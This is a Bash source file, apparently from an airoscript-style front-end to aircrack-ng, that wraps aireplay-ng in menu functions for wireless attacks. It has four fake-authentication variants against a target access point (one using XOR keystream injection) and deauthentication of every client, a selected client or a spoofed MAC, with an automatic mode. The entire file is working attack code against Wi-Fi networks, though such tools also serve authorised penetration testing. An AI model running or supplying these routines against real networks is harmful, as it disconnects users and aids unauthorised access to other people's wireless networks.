# Copyright (C)  2011 David Francos Cuartero
#        This program is free software; you can redistribute it and/or
#        modify it under the terms of the GNU General Public License
#        as published by the Free Software Foundation; either version 2
#        of the License, or (at your option) any later version.

#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#        GNU General Public License for more details.

#        You should have received a copy of the GNU General Public License
#        Along with this program; if not, write to the Free Software
#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
   
fakeauth1(){
        execute "Fake auth (1) " $AIREPLAY --fakeauth 6000 -o 1 -q 10 -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi 
	}
    fakeauth2(){
        execute "Fake auth (2) " $AIREPLAY --fakeauth 0 -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi 
	}
    fakeauth3(){
        execute "Fake auth (3) " $AIREPLAY --fakeauth 5 -o 10 -q 1 -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi 
    }
    fakeauth4(){
        execute "Fake auth (4) " $AIREPLAY -1 0 -e "$HOST_SSID" -y $DUMP_PATH/*.xor -a $Host_MAC -h $FAKE_MAC $iwifi
    }

    # This is for deauth  (6)  option
    choosedeauth(){
        if [ "$Host_SSID" = "" ]; then $clear
            warn "ERROR: You have to select a target first"
        else
            [[ $AUTO == 2 ]] && { deauthall;  return; }
            [[ $AUTO == 1 ]] && { deauthall;  return; }
            while true; do
                mkmenu "Who do you want to deauth?" "Everybody" "Myself (fake mac)" "Selected client"
                case $choice in
                    1 ) deauthall ; break ;;
                    2 ) deauthfake ; break ;;
                    3 ) deauthclient ; break ;;
                    * ) echo -e "`gettext \"Unknown response. Try again\"`" ;;
                esac
            done
    fi
}

deauthall(){
    execute "Deauth All" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC $wifi
}

deauthclient(){
    if [ "$Client_MAC" = "" ]; then 
        $clear; warn "ERROR: You have to select a client first"
    else
        execute "Deauth client" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC \
            -c $Client_MAC $iwifi
    fi
}

deauthfake(){
    execute "Deautenticating" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $FAKE_MAC $iwifi
}

fakeauth(){
    execute "Fake auth on $Host_SSID" $AIREPLAY --fakeauth $AUTHDELAY -q $KEEPALIVE -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi
}

authmenu(){
    while true; do
        mkmenu "Autentication menu" "Fake autentication" "Deautentication" "Return to main menu"
        case $choice in
            1  ) choosefake    ; $clear; break;;
            2  ) choosedeauth  ; $clear; break;;
            3  ) $clear ; break;;
            *  ) _ "Unknown response, try again"; sleep 1; $clear;;
        esac
    done
}

choosefake(){
    if [ "$Host_SSID" = "" ]; then $clear; warn "ERROR: You have to select a target first"
    else
    if [ "$INTERACTIVE" == "1" ]; then
    	while true; do
            mkmenu "Fake Auth Method" "Conservative" "Standard" "Progressive" "Xor Injection"
    		case $choice in
		    	1 ) fakeauth1 ;$clear; break ;;
		    	2 ) fakeauth2 ;$clear; break ;;
		    	3 ) fakeauth3 ;$clear; break ;;
		    	4 ) fakeauth4 ;$clear; break ;;
		    	* ) echo "Unknown response. Try again" ;;
	        esac
    	done
    else fakeauth1||fakeauth2||fakeauth3; $clear; fi
    fi
}
